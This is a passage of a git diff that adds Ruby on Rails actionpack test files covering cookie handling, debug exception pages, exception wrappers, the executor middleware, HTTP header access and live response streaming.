+    get :noop
+    assert_equal "david", cookies["user_name"]
+    assert_equal "david", cookies[:user_name]
+  end
+
+  def test_cookies_precedence_over_request_cookies
+    @request.cookies["user_name"] = "andrew"
+    get :authenticate
+    assert_equal "david", cookies["user_name"]
+    assert_equal "david", cookies[:user_name]
+
+    get :noop
+    assert_equal "david", cookies["user_name"]
+    assert_equal "david", cookies[:user_name]
+  end
+
+  def test_cookies_are_not_cleared
+    cookies.encrypted["foo"] = "bar"
+    get :noop
+    assert_equal "bar", @controller.encrypted_cookie
+  end
+
+  private
+    def assert_cookie_header(expected)
+      header = @response.headers["Set-Cookie"]
+      if header.respond_to?(:to_str)
+        assert_equal expected.split("\n").sort, header.split("\n").sort
+      else
+        assert_equal expected.split("\n"), header
+      end
+    end
+
+    def assert_not_cookie_header(expected)
+      header = @response.headers["Set-Cookie"]
+      if header.respond_to?(:to_str)
+        assert_not_equal expected.split("\n").sort, header.split("\n").sort
+      else
+        assert_not_equal expected.split("\n"), header
+      end
+    end
+end
diff --git a/actionpack/test/dispatch/debug_exceptions_test.rb b/actionpack/test/dispatch/debug_exceptions_test.rb
new file mode 100644
index 0000000000..60acba0616
--- /dev/null
+++ b/actionpack/test/dispatch/debug_exceptions_test.rb
@@ -0,0 +1,502 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class DebugExceptionsTest < ActionDispatch::IntegrationTest
+  class Boomer
+    attr_accessor :closed
+
+    def initialize(detailed  = false)
+      @detailed = detailed
+      @closed = false
+    end
+
+    # We're obliged to implement this (even though it doesn't actually
+    # get called here) to properly comply with the Rack SPEC
+    def each
+    end
+
+    def close
+      @closed = true
+    end
+
+    def method_that_raises
+      raise StandardError.new "error in framework"
+    end
+
+    def call(env)
+      env["action_dispatch.show_detailed_exceptions"] = @detailed
+      req = ActionDispatch::Request.new(env)
+      case req.path
+      when %r{/pass}
+        [404, { "X-Cascade" => "pass" }, self]
+      when %r{/not_found}
+        raise AbstractController::ActionNotFound
+      when %r{/runtime_error}
+        raise RuntimeError
+      when %r{/method_not_allowed}
+        raise ActionController::MethodNotAllowed
+      when %r{/unknown_http_method}
+        raise ActionController::UnknownHttpMethod
+      when %r{/not_implemented}
+        raise ActionController::NotImplemented
+      when %r{/unprocessable_entity}
+        raise ActionController::InvalidAuthenticityToken
+      when %r{/not_found_original_exception}
+        begin
+          raise AbstractController::ActionNotFound.new
+        rescue
+          raise ActionView::Template::Error.new("template")
+        end
+      when %r{/missing_template}
+        raise ActionView::MissingTemplate.new(%w(foo), "foo/index", %w(foo), false, "mailer")
+      when %r{/bad_request}
+        raise ActionController::BadRequest
+      when %r{/missing_keys}
+        raise ActionController::UrlGenerationError, "No route matches"
+      when %r{/parameter_missing}
+        raise ActionController::ParameterMissing, :missing_param_key
+      when %r{/original_syntax_error}
+        eval "broke_syntax =" # `eval` need for raise native SyntaxError at runtime
+      when %r{/syntax_error_into_view}
+        begin
+          eval "broke_syntax ="
+        rescue Exception
+          template = ActionView::Template.new(File.read(__FILE__),
+                                              __FILE__,
+                                              ActionView::Template::Handlers::Raw.new,
+                                              {})
+          raise ActionView::Template::Error.new(template)
+        end
+      when %r{/framework_raises}
+        method_that_raises
+      else
+        raise "puke!"
+      end
+    end
+  end
+
+  RoutesApp = Struct.new(:routes).new(SharedTestRoutes)
+  ProductionApp  = ActionDispatch::DebugExceptions.new(Boomer.new(false), RoutesApp)
+  DevelopmentApp = ActionDispatch::DebugExceptions.new(Boomer.new(true), RoutesApp)
+
+  test "skip diagnosis if not showing detailed exceptions" do
+    @app = ProductionApp
+    assert_raise RuntimeError do
+      get "/", headers: { "action_dispatch.show_exceptions" => true }
+    end
+  end
+
+  test "skip diagnosis if not showing exceptions" do
+    @app = DevelopmentApp
+    assert_raise RuntimeError do
+      get "/", headers: { "action_dispatch.show_exceptions" => false }
+    end
+  end
+
+  test "raise an exception on cascade pass" do
+    @app = ProductionApp
+    assert_raise ActionController::RoutingError do
+      get "/pass", headers: { "action_dispatch.show_exceptions" => true }
+    end
+  end
+
+  test "closes the response body on cascade pass" do
+    boomer = Boomer.new(false)
+    @app = ActionDispatch::DebugExceptions.new(boomer)
+    assert_raise ActionController::RoutingError do
+      get "/pass", headers: { "action_dispatch.show_exceptions" => true }
+    end
+    assert boomer.closed, "Expected to close the response body"
+  end
+
+  test "displays routes in a table when a RoutingError occurs" do
+    @app = DevelopmentApp
+    get "/pass", headers: { "action_dispatch.show_exceptions" => true }
+    routing_table = body[/route_table.*<.table>/m]
+    assert_match "/:controller(/:action)(.:format)", routing_table
+    assert_match ":controller#:action", routing_table
+    assert_no_match "&lt;|&gt;", routing_table, "there should not be escaped html in the output"
+  end
+
+  test "displays request and response info when a RoutingError occurs" do
+    @app = DevelopmentApp
+
+    get "/pass", headers: { "action_dispatch.show_exceptions" => true }
+
+    assert_select "h2", /Request/
+    assert_select "h2", /Response/
+  end
+
+  test "rescue with diagnostics message" do
+    @app = DevelopmentApp
+
+    get "/", headers: { "action_dispatch.show_exceptions" => true }
+    assert_response 500
+    assert_match(/puke/, body)
+
+    get "/not_found", headers: { "action_dispatch.show_exceptions" => true }
+    assert_response 404
+    assert_match(/#{AbstractController::ActionNotFound.name}/, body)
+
+    get "/method_not_allowed", headers: { "action_dispatch.show_exceptions" => true }
+    assert_response 405
+    assert_match(/ActionController::MethodNotAllowed/, body)
+
+    get "/unknown_http_method", headers: { "action_dispatch.show_exceptions" => true }
+    assert_response 405
+    assert_match(/ActionController::UnknownHttpMethod/, body)
+
+    get "/bad_request", headers: { "action_dispatch.show_exceptions" => true }
+    assert_response 400
+    assert_match(/ActionController::BadRequest/, body)
+
+    get "/parameter_missing", headers: { "action_dispatch.show_exceptions" => true }
+    assert_response 400
+    assert_match(/ActionController::ParameterMissing/, body)
+  end
+
+  test "rescue with text error for xhr request" do
+    @app = DevelopmentApp
+    xhr_request_env = { "action_dispatch.show_exceptions" => true, "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest" }
+
+    get "/", headers: xhr_request_env
+    assert_response 500
+    assert_no_match(/<header>/, body)
+    assert_no_match(/<body>/, body)
+    assert_equal "text/plain", response.content_type
+    assert_match(/RuntimeError\npuke/, body)
+
+    Rails.stub :root, Pathname.new(".") do
+      get "/", headers: xhr_request_env
+
+      assert_response 500
+      assert_match "Extracted source (around line #", body
+      assert_select "pre", { count: 0 }, body
+    end
+
+    get "/not_found", headers: xhr_request_env
+    assert_response 404
+    assert_no_match(/<body>/, body)
+    assert_equal "text/plain", response.content_type
+    assert_match(/#{AbstractController::ActionNotFound.name}/, body)
+
+    get "/method_not_allowed", headers: xhr_request_env
+    assert_response 405
+    assert_no_match(/<body>/, body)
+    assert_equal "text/plain", response.content_type
+    assert_match(/ActionController::MethodNotAllowed/, body)
+
+    get "/unknown_http_method", headers: xhr_request_env
+    assert_response 405
+    assert_no_match(/<body>/, body)
+    assert_equal "text/plain", response.content_type
+    assert_match(/ActionController::UnknownHttpMethod/, body)
+
+    get "/bad_request", headers: xhr_request_env
+    assert_response 400
+    assert_no_match(/<body>/, body)
+    assert_equal "text/plain", response.content_type
+    assert_match(/ActionController::BadRequest/, body)
+
+    get "/parameter_missing", headers: xhr_request_env
+    assert_response 400
+    assert_no_match(/<body>/, body)
+    assert_equal "text/plain", response.content_type
+    assert_match(/ActionController::ParameterMissing/, body)
+  end
+
+  test "rescue with JSON error for JSON API request" do
+    @app = ActionDispatch::DebugExceptions.new(Boomer.new(true), RoutesApp, :api)
+
+    get "/", headers: { "action_dispatch.show_exceptions" => true }, as: :json
+    assert_response 500
+    assert_no_match(/<header>/, body)
+    assert_no_match(/<body>/, body)
+    assert_equal "application/json", response.content_type
+    assert_match(/RuntimeError: puke/, body)
+
+    get "/not_found", headers: { "action_dispatch.show_exceptions" => true }, as: :json
+    assert_response 404
+    assert_no_match(/<body>/, body)
+    assert_equal "application/json", response.content_type
+    assert_match(/#{AbstractController::ActionNotFound.name}/, body)
+
+    get "/method_not_allowed", headers: { "action_dispatch.show_exceptions" => true }, as: :json
+    assert_response 405
+    assert_no_match(/<body>/, body)
+    assert_equal "application/json", response.content_type
+    assert_match(/ActionController::MethodNotAllowed/, body)
+
+    get "/unknown_http_method", headers: { "action_dispatch.show_exceptions" => true }, as: :json
+    assert_response 405
+    assert_no_match(/<body>/, body)
+    assert_equal "application/json", response.content_type
+    assert_match(/ActionController::UnknownHttpMethod/, body)
+
+    get "/bad_request", headers: { "action_dispatch.show_exceptions" => true }, as: :json
+    assert_response 400
+    assert_no_match(/<body>/, body)
+    assert_equal "application/json", response.content_type
+    assert_match(/ActionController::BadRequest/, body)
+
+    get "/parameter_missing", headers: { "action_dispatch.show_exceptions" => true }, as: :json
+    assert_response 400
+    assert_no_match(/<body>/, body)
+    assert_equal "application/json", response.content_type
+    assert_match(/ActionController::ParameterMissing/, body)
+  end
+
+  test "rescue with HTML format for HTML API request" do
+    @app = ActionDispatch::DebugExceptions.new(Boomer.new(true), RoutesApp, :api)
+
+    get "/index.html", headers: { "action_dispatch.show_exceptions" => true }
+    assert_response 500
+    assert_match(/<header>/, body)
+    assert_match(/<body>/, body)
+    assert_equal "text/html", response.content_type
+    assert_match(/puke/, body)
+  end
+
+  test "rescue with XML format for XML API requests" do
+    @app = ActionDispatch::DebugExceptions.new(Boomer.new(true), RoutesApp, :api)
+
+    get "/index.xml", headers: { "action_dispatch.show_exceptions" => true }
+    assert_response 500
+    assert_equal "application/xml", response.content_type
+    assert_match(/RuntimeError: puke/, body)
+  end
+
+  test "rescue with JSON format as fallback if API request format is not supported" do
+    begin
+      Mime::Type.register "text/wibble", :wibble
+
+      ActionDispatch::IntegrationTest.register_encoder(:wibble,
+        param_encoder: -> params { params })
+
+      @app = ActionDispatch::DebugExceptions.new(Boomer.new(true), RoutesApp, :api)
+
+      get "/index", headers: { "action_dispatch.show_exceptions" => true }, as: :wibble
+      assert_response 500
+      assert_equal "application/json", response.content_type
+      assert_match(/RuntimeError: puke/, body)
+
+    ensure
+      Mime::Type.unregister :wibble
+    end
+  end
+
+  test "does not show filtered parameters" do
+    @app = DevelopmentApp
+
+    get "/", params: { "foo" => "bar" }, headers: { "action_dispatch.show_exceptions" => true,
+      "action_dispatch.parameter_filter" => [:foo] }
+    assert_response 500
+    assert_match("&quot;foo&quot;=&gt;&quot;[FILTERED]&quot;", body)
+  end
+
+  test "show registered original exception for wrapped exceptions" do
+    @app = DevelopmentApp
+
+    get "/not_found_original_exception", headers: { "action_dispatch.show_exceptions" => true }
+    assert_response 404
+    assert_match(/AbstractController::ActionNotFound/, body)
+  end
+
+  test "named urls missing keys raise 500 level error" do
+    @app = DevelopmentApp
+
+    get "/missing_keys", headers: { "action_dispatch.show_exceptions" => true }
+    assert_response 500
+
+    assert_match(/ActionController::UrlGenerationError/, body)
+  end
+
+  test "show the controller name in the diagnostics template when controller name is present" do
+    @app = DevelopmentApp
+    get("/runtime_error", headers: {
+      "action_dispatch.show_exceptions" => true,
+      "action_dispatch.request.parameters" => {
+        "action" => "show",
+        "id" => "unknown",
+        "controller" => "featured_tile"
+      }
+    })
+    assert_response 500
+    assert_match(/RuntimeError\n\s+in FeaturedTileController/, body)
+  end
+
+  test "show formatted params" do
+    @app = DevelopmentApp
+
+    params = {
+      "id" => "unknown",
+      "someparam" => {
+        "foo" => "bar",
+        "abc" => "goo"
+      }
+    }
+
+    get("/runtime_error", headers: {
+      "action_dispatch.show_exceptions" => true,
+      "action_dispatch.request.parameters" => {
+        "action" => "show",
+        "controller" => "featured_tile"
+      }.merge(params)
+    })
+    assert_response 500
+
+    assert_includes(body, CGI.escapeHTML(PP.pp(params, "".dup, 200)))
+  end
+
+  test "sets the HTTP charset parameter" do
+    @app = DevelopmentApp
+
+    get "/", headers: { "action_dispatch.show_exceptions" => true }
+    assert_equal "text/html; charset=utf-8", response.headers["Content-Type"]
+  end
+
+  test "uses logger from env" do
+    @app = DevelopmentApp
+    output = StringIO.new
+    get "/", headers: { "action_dispatch.show_exceptions" => true, "action_dispatch.logger" => Logger.new(output) }
+    assert_match(/puke/, output.rewind && output.read)
+  end
+
+  test "logs only what is necessary" do
+    @app = DevelopmentApp
+    io = StringIO.new
+    logger = ActiveSupport::Logger.new(io)
+
+    _old, ActionView::Base.logger = ActionView::Base.logger, logger
+    begin
+      get "/", headers: { "action_dispatch.show_exceptions" => true, "action_dispatch.logger" => logger }
+    ensure
+      ActionView::Base.logger = _old
+    end
+
+    output = io.rewind && io.read
+    lines = output.lines
+
+    # Other than the first three...
+    assert_equal(["  \n", "RuntimeError (puke!):\n", "  \n"], lines.slice!(0, 3))
+    lines.each do |line|
+      # .. all the remaining lines should be from the backtrace
+      assert_match(/:\d+:in /, line)
+    end
+  end
+
+  test "logs with non active support loggers" do
+    @app = DevelopmentApp
+    io = StringIO.new
+    logger = Logger.new(io)
+
+    _old, ActionView::Base.logger = ActionView::Base.logger, logger
+    begin
+      assert_nothing_raised do
+        get "/", headers: { "action_dispatch.show_exceptions" => true, "action_dispatch.logger" => logger }
+      end
+    ensure
+      ActionView::Base.logger = _old
+    end
+
+    assert_match(/puke/, io.rewind && io.read)
+  end
+
+  test "uses backtrace cleaner from env" do
+    @app = DevelopmentApp
+    backtrace_cleaner = ActiveSupport::BacktraceCleaner.new
+
+    backtrace_cleaner.stub :clean, ["passed backtrace cleaner"] do
+      get "/", headers: { "action_dispatch.show_exceptions" => true, "action_dispatch.backtrace_cleaner" => backtrace_cleaner }
+      assert_match(/passed backtrace cleaner/, body)
+    end
+  end
+
+  test "logs exception backtrace when all lines silenced" do
+    output = StringIO.new
+    backtrace_cleaner = ActiveSupport::BacktraceCleaner.new
+    backtrace_cleaner.add_silencer { true }
+
+    env = { "action_dispatch.show_exceptions" => true,
+           "action_dispatch.logger" => Logger.new(output),
+           "action_dispatch.backtrace_cleaner" => backtrace_cleaner }
+
+    get "/", headers: env
+    assert_operator((output.rewind && output.read).lines.count, :>, 10)
+  end
+
+  test "display backtrace when error type is SyntaxError" do
+    @app = DevelopmentApp
+
+    get "/original_syntax_error", headers: { "action_dispatch.backtrace_cleaner" => ActiveSupport::BacktraceCleaner.new }
+
+    assert_response 500
+    assert_select "#Application-Trace" do
+      assert_select "pre code", /syntax error, unexpected/
+    end
+  end
+
+  test "display backtrace on template missing errors" do
+    @app = DevelopmentApp
+
+    get "/missing_template"
+
+    assert_select "header h1", /Template is missing/
+
+    assert_select "#container h2", /^Missing template/
+
+    assert_select "#Application-Trace"
+    assert_select "#Framework-Trace"
+    assert_select "#Full-Trace"
+
+    assert_select "h2", /Request/
+  end
+
+  test "display backtrace when error type is SyntaxError wrapped by ActionView::Template::Error" do
+    @app = DevelopmentApp
+
+    get "/syntax_error_into_view", headers: { "action_dispatch.backtrace_cleaner" => ActiveSupport::BacktraceCleaner.new }
+
+    assert_response 500
+    assert_select "#Application-Trace" do
+      assert_select "pre code", /syntax error, unexpected/
+    end
+  end
+
+  test "debug exceptions app shows user code that caused the error in source view" do
+    @app = DevelopmentApp
+    Rails.stub :root, Pathname.new(".") do
+      cleaner = ActiveSupport::BacktraceCleaner.new.tap do |bc|
+        bc.add_silencer { |line| line =~ /method_that_raises/ }
+        bc.add_silencer { |line| line !~ %r{test/dispatch/debug_exceptions_test.rb} }
+      end
+
+      get "/framework_raises", headers: { "action_dispatch.backtrace_cleaner" => cleaner }
+
+      # Assert correct error
+      assert_response 500
+      assert_select "h2", /error in framework/
+
+      # assert source view line is the call to method_that_raises
+      assert_select "div.source:not(.hidden)" do
+        assert_select "pre .line.active", /method_that_raises/
+      end
+
+      # assert first source view (hidden) that throws the error
+      assert_select "div.source:first" do
+        assert_select "pre .line.active", /raise StandardError\.new/
+      end
+
+      # assert application trace refers to line that calls method_that_raises is first
+      assert_select "#Application-Trace" do
+        assert_select "pre code a:first", %r{test/dispatch/debug_exceptions_test\.rb:\d+:in `call}
+      end
+
+      # assert framework trace that threw the error is first
+      assert_select "#Framework-Trace" do
+        assert_select "pre code a:first", /method_that_raises/
+      end
+    end
+  end
+end
diff --git a/actionpack/test/dispatch/exception_wrapper_test.rb b/actionpack/test/dispatch/exception_wrapper_test.rb
new file mode 100644
index 0000000000..f6e70382a8
--- /dev/null
+++ b/actionpack/test/dispatch/exception_wrapper_test.rb
@@ -0,0 +1,120 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module ActionDispatch
+  class ExceptionWrapperTest < ActionDispatch::IntegrationTest
+    class TestError < StandardError
+      attr_reader :backtrace
+
+      def initialize(*backtrace)
+        @backtrace = backtrace.flatten
+      end
+    end
+
+    class BadlyDefinedError < StandardError
+      def backtrace
+        nil
+      end
+    end
+
+    setup do
+      @cleaner = ActiveSupport::BacktraceCleaner.new
+      @cleaner.add_silencer { |line| line !~ /^lib/ }
+    end
+
+    test "#source_extracts fetches source fragments for every backtrace entry" do
+      exception = TestError.new("lib/file.rb:42:in `index'")
+      wrapper = ExceptionWrapper.new(nil, exception)
+
+      assert_called_with(wrapper, :source_fragment, ["lib/file.rb", 42], returns: "foo") do
+        assert_equal [ code: "foo", line_number: 42 ], wrapper.source_extracts
+      end
+    end
+
+    test "#source_extracts works with Windows paths" do
+      exc = TestError.new("c:/path/to/rails/app/controller.rb:27:in 'index':")
+
+      wrapper = ExceptionWrapper.new(nil, exc)
+
+      assert_called_with(wrapper, :source_fragment, ["c:/path/to/rails/app/controller.rb", 27], returns: "nothing") do
+        assert_equal [ code: "nothing", line_number: 27 ], wrapper.source_extracts
+      end
+    end
+
+    test "#source_extracts works with non standard backtrace" do
+      exc = TestError.new("invalid")
+
+      wrapper = ExceptionWrapper.new(nil, exc)
+
+      assert_called_with(wrapper, :source_fragment, ["invalid", 0], returns: "nothing") do
+        assert_equal [ code: "nothing", line_number: 0 ], wrapper.source_extracts
+      end
+    end
+
+    test "#application_trace returns traces only from the application" do
+      exception = TestError.new(caller.prepend("lib/file.rb:42:in `index'"))
+      wrapper = ExceptionWrapper.new(@cleaner, exception)
+
+      assert_equal [ "lib/file.rb:42:in `index'" ], wrapper.application_trace
+    end
+
+    test "#status_code returns 400 for Rack::Utils::ParameterTypeError" do
+      exception = Rack::Utils::ParameterTypeError.new
+      wrapper = ExceptionWrapper.new(@cleaner, exception)
+      assert_equal 400, wrapper.status_code
+    end
+
+    test "#application_trace cannot be nil" do
+      nil_backtrace_wrapper = ExceptionWrapper.new(@cleaner, BadlyDefinedError.new)
+      nil_cleaner_wrapper = ExceptionWrapper.new(nil, BadlyDefinedError.new)
+
+      assert_equal [], nil_backtrace_wrapper.application_trace
+      assert_equal [], nil_cleaner_wrapper.application_trace
+    end
+
+    test "#framework_trace returns traces outside the application" do
+      exception = TestError.new(caller.prepend("lib/file.rb:42:in `index'"))
+      wrapper = ExceptionWrapper.new(@cleaner, exception)
+
+      assert_equal caller, wrapper.framework_trace
+    end
+
+    test "#framework_trace cannot be nil" do
+      nil_backtrace_wrapper = ExceptionWrapper.new(@cleaner, BadlyDefinedError.new)
+      nil_cleaner_wrapper = ExceptionWrapper.new(nil, BadlyDefinedError.new)
+
+      assert_equal [], nil_backtrace_wrapper.framework_trace
+      assert_equal [], nil_cleaner_wrapper.framework_trace
+    end
+
+    test "#full_trace returns application and framework traces" do
+      exception = TestError.new(caller.prepend("lib/file.rb:42:in `index'"))
+      wrapper = ExceptionWrapper.new(@cleaner, exception)
+
+      assert_equal exception.backtrace, wrapper.full_trace
+    end
+
+    test "#full_trace cannot be nil" do
+      nil_backtrace_wrapper = ExceptionWrapper.new(@cleaner, BadlyDefinedError.new)
+      nil_cleaner_wrapper = ExceptionWrapper.new(nil, BadlyDefinedError.new)
+
+      assert_equal [], nil_backtrace_wrapper.full_trace
+      assert_equal [], nil_cleaner_wrapper.full_trace
+    end
+
+    test "#traces returns every trace by category enumerated with an index" do
+      exception = TestError.new("lib/file.rb:42:in `index'", "/gems/rack.rb:43:in `index'")
+      wrapper = ExceptionWrapper.new(@cleaner, exception)
+
+      assert_equal({
+        "Application Trace" => [ id: 0, trace: "lib/file.rb:42:in `index'" ],
+        "Framework Trace" => [ id: 1, trace: "/gems/rack.rb:43:in `index'" ],
+        "Full Trace" => [
+          { id: 0, trace: "lib/file.rb:42:in `index'" },
+          { id: 1, trace: "/gems/rack.rb:43:in `index'" }
+        ]
+      }, wrapper.traces)
+    end
+  end
+end
diff --git a/actionpack/test/dispatch/executor_test.rb b/actionpack/test/dispatch/executor_test.rb
new file mode 100644
index 0000000000..8eb6450385
--- /dev/null
+++ b/actionpack/test/dispatch/executor_test.rb
@@ -0,0 +1,136 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class ExecutorTest < ActiveSupport::TestCase
+  class MyBody < Array
+    def initialize(&block)
+      @on_close = block
+    end
+
+    def foo
+      "foo"
+    end
+
+    def bar
+      "bar"
+    end
+
+    def close
+      @on_close.call if @on_close
+    end
+  end
+
+  def test_returned_body_object_always_responds_to_close
+    body = call_and_return_body
+    assert_respond_to body, :close
+  end
+
+  def test_returned_body_object_always_responds_to_close_even_if_called_twice
+    body = call_and_return_body
+    assert_respond_to body, :close
+    body.close
+
+    body = call_and_return_body
+    assert_respond_to body, :close
+    body.close
+  end
+
+  def test_returned_body_object_behaves_like_underlying_object
+    body = call_and_return_body do
+      b = MyBody.new
+      b << "hello"
+      b << "world"
+      [200, { "Content-Type" => "text/html" }, b]
+    end
+    assert_equal 2, body.size
+    assert_equal "hello", body[0]
+    assert_equal "world", body[1]
+    assert_equal "foo", body.foo
+    assert_equal "bar", body.bar
+  end
+
+  def test_it_calls_close_on_underlying_object_when_close_is_called_on_body
+    close_called = false
+    body = call_and_return_body do
+      b = MyBody.new do
+        close_called = true
+      end
+      [200, { "Content-Type" => "text/html" }, b]
+    end
+    body.close
+    assert close_called
+  end
+
+  def test_returned_body_object_responds_to_all_methods_supported_by_underlying_object
+    body = call_and_return_body do
+      [200, { "Content-Type" => "text/html" }, MyBody.new]
+    end
+    assert_respond_to body, :size
+    assert_respond_to body, :each
+    assert_respond_to body, :foo
+    assert_respond_to body, :bar
+  end
+
+  def test_run_callbacks_are_called_before_close
+    running = false
+    executor.to_run { running = true }
+
+    body = call_and_return_body
+    assert running
+
+    running = false
+    body.close
+    assert !running
+  end
+
+  def test_complete_callbacks_are_called_on_close
+    completed = false
+    executor.to_complete { completed = true }
+
+    body = call_and_return_body
+    assert !completed
+
+    body.close
+    assert completed
+  end
+
+  def test_complete_callbacks_are_called_on_exceptions
+    completed = false
+    executor.to_complete { completed = true }
+
+    begin
+      call_and_return_body do
+        raise "error"
+      end
+    rescue
+    end
+
+    assert completed
+  end
+
+  def test_callbacks_execute_in_shared_context
+    result = false
+    executor.to_run { @in_shared_context = true }
+    executor.to_complete { result = @in_shared_context }
+
+    call_and_return_body.close
+    assert result
+    assert !defined?(@in_shared_context) # it's not in the test itself
+  end
+
+  private
+    def call_and_return_body(&block)
+      app = middleware(block || proc { [200, {}, "response"] })
+      _, _, body = app.call("rack.input" => StringIO.new(""))
+      body
+    end
+
+    def middleware(inner_app)
+      ActionDispatch::Executor.new(inner_app, executor)
+    end
+
+    def executor
+      @executor ||= Class.new(ActiveSupport::Executor)
+    end
+end
diff --git a/actionpack/test/dispatch/header_test.rb b/actionpack/test/dispatch/header_test.rb
new file mode 100644
index 0000000000..3a265a056b
--- /dev/null
+++ b/actionpack/test/dispatch/header_test.rb
@@ -0,0 +1,169 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class HeaderTest < ActiveSupport::TestCase
+  def make_headers(hash)
+    ActionDispatch::Http::Headers.new ActionDispatch::Request.new hash
+  end
+
+  setup do
+    @headers = make_headers(
+      "CONTENT_TYPE" => "text/plain",
+      "HTTP_REFERER" => "/some/page"
+    )
+  end
+
+  test "#new does not normalize the data" do
+    headers = make_headers(
+      "Content-Type" => "application/json",
+      "HTTP_REFERER" => "/some/page",
+      "Host" => "http://test.com")
+
+    assert_equal({ "Content-Type" => "application/json",
+                  "HTTP_REFERER" => "/some/page",
+                  "Host" => "http://test.com" }, headers.env)
+  end
+
+  test "#env returns the headers as env variables" do
+    assert_equal({ "CONTENT_TYPE" => "text/plain",
+                  "HTTP_REFERER" => "/some/page" }, @headers.env)
+  end
+
+  test "#each iterates through the env variables" do
+    headers = []
+    @headers.each { |pair| headers << pair }
+    assert_equal [["CONTENT_TYPE", "text/plain"],
+                  ["HTTP_REFERER", "/some/page"]], headers
+  end
+
+  test "set new headers" do
+    @headers["Host"] = "127.0.0.1"
+
+    assert_equal "127.0.0.1", @headers["Host"]
+    assert_equal "127.0.0.1", @headers["HTTP_HOST"]
+  end
+
+  test "add to multivalued headers" do
+    # Sets header when not present
+    @headers.add "Foo", "1"
+    assert_equal "1", @headers["Foo"]
+
+    # Ignores nil values
+    @headers.add "Foo", nil
+    assert_equal "1", @headers["Foo"]
+
+    # Converts value to string
+    @headers.add "Foo", 1
+    assert_equal "1,1", @headers["Foo"]
+
+    # Case-insensitive
+    @headers.add "fOo", 2
+    assert_equal "1,1,2", @headers["foO"]
+  end
+
+  test "headers can contain numbers" do
+    @headers["Content-MD5"] = "Q2hlY2sgSW50ZWdyaXR5IQ=="
+
+    assert_equal "Q2hlY2sgSW50ZWdyaXR5IQ==", @headers["Content-MD5"]
+    assert_equal "Q2hlY2sgSW50ZWdyaXR5IQ==", @headers["HTTP_CONTENT_MD5"]
+  end
+
+  test "set new env variables" do
+    @headers["HTTP_HOST"] = "127.0.0.1"
+
+    assert_equal "127.0.0.1", @headers["Host"]
+    assert_equal "127.0.0.1", @headers["HTTP_HOST"]
+  end
+
+  test "key?" do
+    assert @headers.key?("CONTENT_TYPE")
+    assert_includes @headers, "CONTENT_TYPE"
+    assert @headers.key?("Content-Type")
+    assert_includes @headers, "Content-Type"
+  end
+
+  test "fetch with block" do
+    assert_equal "omg", @headers.fetch("notthere") { "omg" }
+  end
+
+  test "accessing http header" do
+    assert_equal "/some/page", @headers["Referer"]
+    assert_equal "/some/page", @headers["referer"]
+    assert_equal "/some/page", @headers["HTTP_REFERER"]
+  end
+
+  test "accessing special header" do
+    assert_equal "text/plain", @headers["Content-Type"]
+    assert_equal "text/plain", @headers["content-type"]
+    assert_equal "text/plain", @headers["CONTENT_TYPE"]
+  end
+
+  test "fetch" do
+    assert_equal "text/plain", @headers.fetch("content-type", nil)
+    assert_equal "not found", @headers.fetch("not-found", "not found")
+  end
+
+  test "#merge! headers with mutation" do
+    @headers.merge!("Host" => "http://example.test",
+                    "Content-Type" => "text/html")
+    assert_equal({ "HTTP_HOST" => "http://example.test",
+                  "CONTENT_TYPE" => "text/html",
+                  "HTTP_REFERER" => "/some/page" }, @headers.env)
+  end
+
+  test "#merge! env with mutation" do
+    @headers.merge!("HTTP_HOST" => "http://first.com",
+                    "CONTENT_TYPE" => "text/html")
+    assert_equal({ "HTTP_HOST" => "http://first.com",
+                  "CONTENT_TYPE" => "text/html",
+                  "HTTP_REFERER" => "/some/page" }, @headers.env)
+  end
+
+  test "merge without mutation" do
+    combined = @headers.merge("HTTP_HOST" => "http://example.com",
+                              "CONTENT_TYPE" => "text/html")
+    assert_equal({ "HTTP_HOST" => "http://example.com",
+                  "CONTENT_TYPE" => "text/html",
+                  "HTTP_REFERER" => "/some/page" }, combined.env)
+
+    assert_equal({ "CONTENT_TYPE" => "text/plain",
+                  "HTTP_REFERER" => "/some/page" }, @headers.env)
+  end
+
+  test "env variables with . are not modified" do
+    headers = make_headers({})
+    headers.merge! "rack.input" => "",
+     "rack.request.cookie_hash" => "",
+     "action_dispatch.logger" => ""
+
+    assert_equal(["action_dispatch.logger",
+                  "rack.input",
+                  "rack.request.cookie_hash"], headers.env.keys.sort)
+  end
+
+  test "symbols are treated as strings" do
+    headers = make_headers({})
+    headers.merge!(:SERVER_NAME => "example.com",
+                   "HTTP_REFERER" => "/",
+                   :Host => "test.com")
+    assert_equal "example.com", headers["SERVER_NAME"]
+    assert_equal "/", headers[:HTTP_REFERER]
+    assert_equal "test.com", headers["HTTP_HOST"]
+  end
+
+  test "headers directly modifies the passed environment" do
+    env = { "HTTP_REFERER" => "/" }
+    headers = make_headers(env)
+    headers["Referer"] = "http://example.com/"
+    headers.merge! "CONTENT_TYPE" => "text/plain"
+    assert_equal({ "HTTP_REFERER" => "http://example.com/",
+                  "CONTENT_TYPE" => "text/plain" }, env)
+  end
+
+  test "fetch exception" do
+    assert_raises KeyError do
+      @headers.fetch(:some_key_that_doesnt_exist)
+    end
+  end
+end
diff --git a/actionpack/test/dispatch/live_response_test.rb b/actionpack/test/dispatch/live_response_test.rb
new file mode 100644
index 0000000000..2901148a9e
--- /dev/null
+++ b/actionpack/test/dispatch/live_response_test.rb
@@ -0,0 +1,98 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "concurrent/atomic/count_down_latch"
+
+module ActionController
+  module Live
+    class ResponseTest < ActiveSupport::TestCase
+      def setup
+        @response = Live::Response.new
+        @response.request = ActionDispatch::Request.empty
+      end
+
+      def test_header_merge
+        header = @response.header.merge("Foo" => "Bar")
+        assert_kind_of(ActionController::Live::Response::Header, header)
+        assert_not_equal header, @response.header
+      end
+
+      def test_initialize_with_default_headers
+        r = Class.new(Live::Response) do
+          def self.default_headers
+            { "omg" => "g" }
+          end
+        end
+
+        header = r.new.header
+        assert_kind_of(ActionController::Live::Response::Header, header)
+      end
+
+      def test_parallel
+        latch = Concurrent::CountDownLatch.new
+
+        t = Thread.new {
+          @response.stream.write "foo"
+          latch.wait
+          @response.stream.close
+        }
+
+        @response.await_commit
+        @response.each do |part|
+          assert_equal "foo", part
+          latch.count_down
+        end
+        assert t.join
+      end
+
+      def test_setting_body_populates_buffer
+        @response.body = "omg"
+        @response.close
+        assert_equal ["omg"], @response.body_parts
+      end
+
